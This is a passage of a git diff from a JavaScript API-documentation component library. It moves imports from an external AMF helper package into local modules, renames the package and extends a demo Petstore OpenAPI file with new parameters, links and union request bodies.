+        - ApiKeyQuery: []
+      responses:
+        '102':
+          description: OK
+  /open-id:
+    get:
+      security:
+        - OpenID: []
+      responses:
+        '201':
+          description: OK
diff --git a/demo/apis/petstore/petstore.yaml b/demo/apis/petstore/petstore.yaml
index d8da184..671ad4b 100644
--- a/demo/apis/petstore/petstore.yaml
+++ b/demo/apis/petstore/petstore.yaml
@@ -16,6 +16,8 @@ info:
   termsOfService: 'http://swagger.io/terms/'
   contact:
     email: apiteam@swagger.io
+    name: Swagger IO
+    url: swagger.io
   license:
     name: Apache 2.0
     url: 'http://www.apache.org/licenses/LICENSE-2.0.html'
@@ -40,6 +42,7 @@ paths:
       summary: Add a new pet to the store
       description: Add a new pet to the store
       operationId: addPet
+      deprecated: true
       responses:
         '200':
           description: Successful operation
@@ -121,6 +124,7 @@ paths:
           description: Status values that need to be considered for filter
           required: false
           explode: true
+          example: pending
           schema:
             type: string
             enum:
@@ -238,6 +242,13 @@ paths:
         - name: name
           in: query
           description: Name of pet that needs to be updated
+          deprecated: true
+          explode: true
+          allowEmptyValue: true
+          allowReserved: true
+          required: false
+          style: form
+          example: "A name"
           schema:
             type: string
         - name: status
@@ -245,6 +256,22 @@ paths:
           description: Status of pet that needs to be updated
           schema:
             type: string
+        - name: debug
+          in: cookie
+          description: Whether to debug the response
+          schema:
+            type: number
+        - in: query
+          name: filter
+          content:
+            application/json:
+              schema:
+                type: object
+                properties:
+                  type:
+                    type: string
+                  color:
+                    type: string
       responses:
         '405':
           description: Invalid input
@@ -474,6 +501,20 @@ paths:
             application/xml:
               schema:
                 $ref: '#/components/schemas/User'
+          links:
+            GetUserByUserName:
+              operationId: getUserByName
+              parameters:
+                username: '$request.body#/username'
+              description: >
+                The `username` value from the request body to be used as
+                the `username` parameter in `GET /users/{username}`.
+            GetUserByRef:
+              operationRef: '#/paths/user/{username}/get'
+              parameters:
+                username: '$request.body#/username'
+              description: >
+                This uses `operationRef` instead of `operationId`.
       requestBody:
         content:
           application/json:
@@ -568,19 +609,23 @@ paths:
         default:
           description: successful operation
   '/user/{username}':
+    summary: Represents a user
+    description: >
+      This resource represents an individual user in the system.
+      Each user is identified by a numeric `id`.
+    parameters:
+      - name: username
+        in: path
+        description: 'The name that needs to be fetched. Use user1 for testing. '
+        required: true
+        schema:
+          type: string
     get:
       tags:
         - user
       summary: Get user by user name
       description: ''
       operationId: getUserByName
-      parameters:
-        - name: username
-          in: path
-          description: 'The name that needs to be fetched. Use user1 for testing. '
-          required: true
-          schema:
-            type: string
       responses:
         '200':
           description: successful operation
@@ -642,6 +687,33 @@ paths:
           description: Invalid username supplied
         '404':
           description: User not found
+  /unions:
+    patch:
+      summary: An oneOf body
+      requestBody:
+        content:
+          application/json:
+            schema:
+              oneOf:
+                - $ref: '#/components/schemas/Cat'
+                - $ref: '#/components/schemas/Dog'
+      responses:
+        '200':
+          description: Updated
+    post:
+      summary: An allOf body
+      requestBody:
+        content:
+          application/json:
+            schema:
+              allOf:
+                - $ref: '#/components/schemas/Cat'
+                - $ref: '#/components/schemas/Dog'
+              discriminator:
+                propertyName: pet_type
+      responses:
+        '200':
+          description: Updated
 externalDocs:
   description: Find out more about Swagger
   url: 'http://swagger.io'
diff --git a/demo/lib/AmfPartialGraphStore.js b/demo/lib/AmfPartialGraphStore.js
index 79de17c..fdb7fa0 100644
--- a/demo/lib/AmfPartialGraphStore.js
+++ b/demo/lib/AmfPartialGraphStore.js
@@ -1,11 +1,11 @@
 /* eslint-disable no-param-reassign */
-import { AmfHelperMixin } from '@api-components/amf-helper-mixin';
+import { AmfHelperMixin } from '../../src/helpers/AmfHelperMixin.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').Api} Api */
-/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').Api} Api */
+/** @typedef {import('../../src/helpers/amf').EndPoint} EndPoint */
+/** @typedef {import('../../src/helpers/amf').Operation} Operation */
 
 export class AmfPartialGraphStore extends AmfHelperMixin(Object) {
   /**
diff --git a/demo/model.mjs b/demo/model.mjs
index dad7984..a14b256 100644
--- a/demo/model.mjs
+++ b/demo/model.mjs
@@ -5,6 +5,8 @@ import generator from '@api-components/api-model-generator';
 /** @type {Map<string, ApiConfiguration>} */
 const config = new Map();
 config.set('demo-api/demo-api.raml', { type: "RAML 1.0" });
+config.set('amf-helper-api/amf-helper-api.raml', { type: "RAML 1.0" });
+config.set('arc-demo-api/arc-demo-api.raml', { type: "RAML 1.0" });
 config.set('array-body/array-body.raml', { type: "RAML 1.0" });
 config.set('google-drive-api/google-drive-api.raml', { type: "RAML 1.0" });
 config.set('appian-api/appian-api.raml', { type: "RAML 1.0" });
@@ -86,6 +88,9 @@ config.set('oas-3-api/oas-3-api.yaml', { type: "OAS 3.0" });
 config.set('modular-api/modular-api.raml', { type: "RAML 1.0" });
 config.set('servers-api/servers-api.yaml', { type: 'OAS 3.0', mime: 'application/yaml' });
 config.set('no-servers-api/no-servers-api.yaml', { type: 'OAS 3.0', mime: 'application/yaml' });
+config.set('multiple-servers/multiple-servers.yaml', { type: 'OAS 3.0', mime: 'application/yaml' });
+config.set('flattened-api/flattened-api.raml', { type: 'RAML 1.0', mime: 'application/yaml', flattened: true });
+config.set('expanded-api/expanded-api.raml', { type: 'RAML 1.0', mime: 'application/yaml', flattened: false });
 
 generator.generate(config, {
   dest: 'demo/models/',
diff --git a/index.d.ts b/index.d.ts
index e761cfe..0797402 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -22,3 +22,8 @@ export * as InputCache from './src/lib/InputCache';
 export * as UrlLib from './src/lib/UrlUtils.js';
 export * as Utils from './src/lib/Utils';
 export * from './src/types'
+export { AmfHelperMixin } from './src/helpers/AmfHelperMixin';
+export { AmfSerializer } from './src/helpers/AmfSerializer';
+export { ns } from './src/helpers/Namespace';
+export * as Amf from './src/helpers/amf';
+export * as Api from './src/helpers/api';
diff --git a/index.js b/index.js
index 851388c..4ab5b72 100644
--- a/index.js
+++ b/index.js
@@ -21,3 +21,6 @@ export * from './src/events/RequestEvents.js';
 export * as InputCache from './src/lib/InputCache.js';
 export * as UrlLib from './src/lib/UrlUtils.js';
 export * as Utils from './src/lib/Utils.js';
+export { AmfHelperMixin } from './src/helpers/AmfHelperMixin.js';
+export { AmfSerializer } from './src/helpers/AmfSerializer.js';
+export { ns } from './src/helpers/Namespace.js';
diff --git a/package-lock.json b/package-lock.json
index c60ee80..e71e85d 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,6 +1,6 @@
 {
-  "name": "@api-components/api-documentation",
-  "version": "7.0.0-beta.1",
+  "name": "@api-components/amf-components",
+  "version": "1.0.0-beta.1",
   "lockfileVersion": 1,
   "requires": true,
   "dependencies": {
@@ -670,23 +670,6 @@
         "@pawel-up/data-mock": "^0.1.7"
       }
     },
-    "@api-components/api-server-selector": {
-      "version": "0.7.1",
-      "resolved": "https://registry.npmjs.org/@api-components/api-server-selector/-/api-server-selector-0.7.1.tgz",
-      "integrity": "sha512-44q6i08RPsgXKAgn1QimvanAxKXPnZzAxiFGwDBc023S4IapCCrSujj/quYwAYCgr+wLnkrJ2+iCOFLEKigWVg==",
-      "requires": {
-        "@advanced-rest-client/arc-icons": "^3.3.4",
-        "@anypoint-web-components/anypoint-button": "^1.2.3",
-        "@anypoint-web-components/anypoint-dropdown": "^1.1.6",
-        "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21",
-        "@anypoint-web-components/anypoint-input": "^0.2.27",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "@api-components/amf-helper-mixin": "^4.5.4",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
     "@api-components/http-method-label": {
       "version": "3.1.4",
       "resolved": "https://registry.npmjs.org/@api-components/http-method-label/-/http-method-label-3.1.4.tgz",
diff --git a/package.json b/package.json
index fd95506..22ced08 100644
--- a/package.json
+++ b/package.json
@@ -51,11 +51,10 @@
     "@anypoint-web-components/anypoint-radio-button": "^0.1.9",
     "@anypoint-web-components/anypoint-switch": "^0.1.10",
     "@anypoint-web-components/anypoint-tabs": "^0.1.19",
-    "@api-components/amf-helper-mixin": "^4.5.15",
     "@api-components/api-schema": "^0.1.4",
-    "@api-components/api-server-selector": "^0.7.1",
     "@api-components/http-method-label": "^3.1.4",
     "@open-wc/dedupe-mixin": "^1.3.0",
+    "amf-json-ld-lib": "0.0.14",
     "dompurify": "^2.3.3",
     "lit-element": "^2.5.1",
     "lit-html": "^1.4.1"
diff --git a/src/elements/ApiAnnotationDocumentElement.d.ts b/src/elements/ApiAnnotationDocumentElement.d.ts
index 353c95d..096672d 100644
--- a/src/elements/ApiAnnotationDocumentElement.d.ts
+++ b/src/elements/ApiAnnotationDocumentElement.d.ts
@@ -1,5 +1,7 @@
 import { LitElement, TemplateResult } from 'lit-element';
-import { AmfHelperMixin, DomainElement, ApiDomainProperty, ApiCustomDomainProperty, ApiScalarNode, ApiObjectNode } from '@api-components/amf-helper-mixin';
+import { ApiDomainProperty, ApiCustomDomainProperty, ApiScalarNode, ApiObjectNode } from '../helpers/api';
+import { DomainElement } from '../helpers/amf';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
 
 export const shapeValue: unique symbol;
 export const processShape: unique symbol;
diff --git a/src/elements/ApiAnnotationDocumentElement.js b/src/elements/ApiAnnotationDocumentElement.js
index 7a211ac..d9483de 100644
--- a/src/elements/ApiAnnotationDocumentElement.js
+++ b/src/elements/ApiAnnotationDocumentElement.js
@@ -1,15 +1,17 @@
 /* eslint-disable class-methods-use-this */
 /* eslint-disable no-param-reassign */
 import { LitElement, html } from 'lit-element';
-import { AmfHelperMixin, AmfSerializer, ns } from '@api-components/amf-helper-mixin';
 import '@advanced-rest-client/arc-icons/arc-icon.js';
 import elementStyles from './styles/ApiAnnotation.js';
-
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiDomainProperty} ApiDomainProperty */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiCustomDomainProperty} ApiCustomDomainProperty */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiObjectNode} ApiObjectNode */
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
+import { AmfSerializer } from '../helpers/AmfSerializer.js';
+import { ns } from '../helpers/Namespace.js';
+
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../helpers/api').ApiDomainProperty} ApiDomainProperty */
+/** @typedef {import('../helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
+/** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../helpers/api').ApiObjectNode} ApiObjectNode */
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 
 export const shapeValue = Symbol('shapeValue');
diff --git a/src/elements/ApiAuthorizationEditorElement.d.ts b/src/elements/ApiAuthorizationEditorElement.d.ts
index 0323cfe..d02b14e 100644
--- a/src/elements/ApiAuthorizationEditorElement.d.ts
+++ b/src/elements/ApiAuthorizationEditorElement.d.ts
@@ -1,9 +1,6 @@
 import { TemplateResult, LitElement } from 'lit-element';
-import {
-  ApiParametrizedSecurityScheme,
-  ApiSecurityRequirement,
-  AmfDocument,
-} from '@api-components/amf-helper-mixin';
+import { ApiParametrizedSecurityScheme, ApiSecurityRequirement, } from '../helpers/api';
+import { AmfDocument, } from '../helpers/amf';
 import { Oauth2Credentials } from '@advanced-rest-client/authorization';
 import { RequestAuthorization } from '@advanced-rest-client/arc-types/src/request/ArcRequest';
 import { default as ApiAuthorizationMethodElement } from './ApiAuthorizationMethodElement';
diff --git a/src/elements/ApiAuthorizationEditorElement.js b/src/elements/ApiAuthorizationEditorElement.js
index f96efd4..b24d659 100644
--- a/src/elements/ApiAuthorizationEditorElement.js
+++ b/src/elements/ApiAuthorizationEditorElement.js
@@ -6,11 +6,11 @@ import elementStyles from './styles/AuthorizationEditor.js';
 import '../../api-authorization-method.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScheme} ApiSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityHttpSettings} ApiSecurityHttpSettings */
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
+/** @typedef {import('../helpers/api').ApiSecurityHttpSettings} ApiSecurityHttpSettings */
 /** @typedef {import('./ApiAuthorizationMethodElement').default} ApiAuthorizationMethodElement */
 /** @typedef {import('@advanced-rest-client/arc-types').ArcRequest.RequestAuthorization} RequestAuthorization */
 /** @typedef {import('@advanced-rest-client/authorization').Oauth2Credentials} Oauth2Credentials */
diff --git a/src/elements/ApiAuthorizationMethodElement.d.ts b/src/elements/ApiAuthorizationMethodElement.d.ts
index bbb8378..e895e11 100644
--- a/src/elements/ApiAuthorizationMethodElement.d.ts
+++ b/src/elements/ApiAuthorizationMethodElement.d.ts
@@ -1,5 +1,6 @@
 import { AuthorizationMethodElement as AuthorizationMethod } from "@advanced-rest-client/authorization";
-import { AmfDocument, ApiParametrizedSecurityScheme } from '@api-components/amf-helper-mixin';
+import { ApiParametrizedSecurityScheme } from '../helpers/api';
+import { AmfDocument } from '../helpers/amf';
 import {
   typeChangedSymbol,
   propagateChanges,
diff --git a/src/elements/ApiAuthorizationMethodElement.js b/src/elements/ApiAuthorizationMethodElement.js
index 85d55d5..5deaf2f 100644
--- a/src/elements/ApiAuthorizationMethodElement.js
+++ b/src/elements/ApiAuthorizationMethodElement.js
@@ -36,8 +36,8 @@ export const settingsHandler = Symbol("settingsHandler");
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.BearerAuthorization} BearerAuthorization */
 /** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
 /** @typedef {import('@advanced-rest-client/authorization').AuthUiBase} AuthUiBase */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../lib/auth-ui/CustomAuth').default} CustomAuth */
 /** @typedef {import('../lib/auth-ui/ApiKeyAuth').default} ApiKeyAuth */
 /** @typedef {import('../lib/auth-ui/ApiUiBase').default} ApiUiBase */
diff --git a/src/elements/ApiChannelDocumentElement.js b/src/elements/ApiChannelDocumentElement.js
index 627fa10..7f2f529 100644
--- a/src/elements/ApiChannelDocumentElement.js
+++ b/src/elements/ApiChannelDocumentElement.js
@@ -12,7 +12,7 @@ import '../../api-operation-document.js'
 import '../../api-parameter-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */
+/** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
 
 /**
  * A web component that renders the async API Channel documentation page
diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts
index 487ce1c..0b12b9e 100644
--- a/src/elements/ApiDocumentationBase.d.ts
+++ b/src/elements/ApiDocumentationBase.d.ts
@@ -1,5 +1,8 @@
 import { LitElement, TemplateResult } from 'lit-element';
-import { AmfHelperMixin, AmfSerializer, DomainElement, ApiParameter, ApiCustomDomainProperty, ApiExample } from '@api-components/amf-helper-mixin';
+import { ApiParameter, ApiCustomDomainProperty, ApiExample } from '../helpers/api';
+import { DomainElement } from '../helpers/amf';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
+import { AmfSerializer } from '../helpers/AmfSerializer';
 import { SchemaExample } from '@api-components/api-schema';
 
 export declare const sectionToggleClickHandler: unique symbol;
diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js
index 6f1f25b..50c5f59 100644
--- a/src/elements/ApiDocumentationBase.js
+++ b/src/elements/ApiDocumentationBase.js
@@ -3,20 +3,21 @@
 import { LitElement, html } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
 import { ifDefined } from 'lit-html/directives/if-defined.js';
-import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin';
 import { ApiExampleGenerator } from '@api-components/api-schema';
 import '@anypoint-web-components/anypoint-button/anypoint-button.js';
 import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js';
 import '@advanced-rest-client/arc-icons/arc-icon.js';
 import '@advanced-rest-client/highlight/arc-marked.js';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
+import { AmfSerializer } from '../helpers/AmfSerializer.js';
 import '../../api-annotation-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiCustomDomainProperty} ApiCustomDomainProperty */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */
+/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
+/** @typedef {import('../helpers/api').ApiExample} ApiExample */
 /** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */
 
 export const sectionToggleClickHandler = Symbol('sectionToggleClickHandler');
diff --git a/src/elements/ApiDocumentationDocumentElement.d.ts b/src/elements/ApiDocumentationDocumentElement.d.ts
index 1d0dd92..3a8ea7a 100644
--- a/src/elements/ApiDocumentationDocumentElement.d.ts
+++ b/src/elements/ApiDocumentationDocumentElement.d.ts
@@ -1,5 +1,6 @@
 import { TemplateResult } from 'lit-element';
-import { ApiDocumentation, CreativeWork } from '@api-components/amf-helper-mixin';
+import { ApiDocumentation } from '../helpers/api';
+import { CreativeWork } from '../helpers/amf';
 import { ApiDocumentationBase } from './ApiDocumentationBase';
 
 export const documentationValue: unique symbol;
diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js
index b503695..5a0de6a 100644
--- a/src/elements/ApiDocumentationDocumentElement.js
+++ b/src/elements/ApiDocumentationDocumentElement.js
@@ -7,8 +7,8 @@ import commonStyles from './styles/Common.js';
 import { ApiDocumentationBase, descriptionTemplate, serializerValue } from './ApiDocumentationBase.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */
-/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */
+/** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('../helpers/amf').CreativeWork} CreativeWork */
 
 export const documentationValue = Symbol('documentationValue');
 export const titleTemplate = Symbol('titleTemplate');
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index 3814be7..2706328 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -1,7 +1,6 @@
 /* eslint-disable no-param-reassign */
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
-import '@api-components/api-server-selector/api-server-selector.js'
 import elementStyles from './styles/ApiDocumentation.js';
 import { 
   ApiDocumentationBase,
@@ -14,14 +13,15 @@ import '../../api-resource-document.js';
 import '../../api-security-document.js';
 import '../../api-documentation-document.js';
 import '../../api-schema-document.js';
+import '../../api-server-selector.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSummary} ApiSummary */
-/** @typedef {import('@api-components/api-server-selector').ServerType} ServerType */
+/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
+/** @typedef {import('../helpers/amf').Operation} Operation */
+/** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
+/** @typedef {import('../types').ServerType} ServerType */
 
 export const operationIdValue = Symbol('operationIdValue');
 export const domainTypeValue = Symbol('domainTypeValue');
diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js
index 03e187f..09f4877 100644
--- a/src/elements/ApiOperationDocumentElement.js
+++ b/src/elements/ApiOperationDocumentElement.js
@@ -1,7 +1,6 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
-import { ns } from "@api-components/amf-helper-mixin";
 import { Styles as HttpStyles } from '@api-components/http-method-label';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import { ApiSchemaValues, ApiSchemaGenerator } from '@api-components/api-schema';
@@ -10,6 +9,7 @@ import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js';
 import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js';
 import '@advanced-rest-client/arc-icons/arc-icon.js';
 import '@advanced-rest-client/http-code-snippets/http-code-snippets.js';
+import { ns } from "../helpers/Namespace.js";
 import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js';
 import elementStyles from './styles/ApiOperation.js';
 import commonStyles from './styles/Common.js';
@@ -30,17 +30,17 @@ import '../../api-response-document.js';
 import '../../api-security-requirement-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */
-/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiCallback} ApiCallback */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
+/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
+/** @typedef {import('../helpers/amf').Operation} Operation */
+/** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
+/** @typedef {import('../helpers/api').ApiCallback} ApiCallback */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
 /** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */
 /** @typedef {import('./ApiRequestDocumentElement').default} ApiRequestDocumentElement */
 
diff --git a/src/elements/ApiParameterDocumentElement.js b/src/elements/ApiParameterDocumentElement.js
index 9eb74d6..42fa2f9 100644
--- a/src/elements/ApiParameterDocumentElement.js
+++ b/src/elements/ApiParameterDocumentElement.js
@@ -10,11 +10,11 @@ import { paramNameTemplate, typeValueTemplate, detailsTemplate, pillTemplate } f
 import { ApiDocumentationBase, descriptionTemplate } from './ApiDocumentationBase.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
 
 export const queryParameter = Symbol('queryParameter');
 export const querySchema = Symbol('querySchema');
diff --git a/src/elements/ApiParametrizedSecuritySchemeElement.js b/src/elements/ApiParametrizedSecuritySchemeElement.js
index f7c111a..1add995 100644
--- a/src/elements/ApiParametrizedSecuritySchemeElement.js
+++ b/src/elements/ApiParametrizedSecuritySchemeElement.js
@@ -1,5 +1,5 @@
 /* eslint-disable class-methods-use-this */
-import { ns } from '@api-components/amf-helper-mixin';
+import { ns } from '../helpers/Namespace.js';
 import ApiSecurityDocumentElement, {
   settingsTemplate,
   securityValue,
@@ -9,8 +9,8 @@ import ApiSecurityDocumentElement, {
 } from "./ApiSecurityDocumentElement.js";
 import elementStyles from './styles/ParametrizedSecurityElement.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecuritySettingsUnion} ApiSecuritySettingsUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
+/** @typedef {import('../helpers/api').ApiSecuritySettingsUnion} ApiSecuritySettingsUnion */
+/** @typedef {import('../helpers/api').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 
 export const settingsIdValue = Symbol('settingsIdValue');
diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js
index c92dc31..69999b8 100644
--- a/src/elements/ApiPayloadDocumentElement.js
+++ b/src/elements/ApiPayloadDocumentElement.js
@@ -12,10 +12,10 @@ import {
 import '../../api-schema-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */
-/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */
+/** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
+/** @typedef {import('../helpers/amf').Payload} Payload */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiExample} ApiExample */
 /** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */
 
 export const queryPayload = Symbol('queryPayload');
diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js
index 031aee0..ed45a08 100644
--- a/src/elements/ApiRequestDocumentElement.js
+++ b/src/elements/ApiRequestDocumentElement.js
@@ -17,14 +17,14 @@ import '../../api-payload-document.js';
 import '../../api-parameter-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiRequest} ApiRequest */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */
-/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiRequest} ApiRequest */
+/** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
+/** @typedef {import('../helpers/amf').Request} Request */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
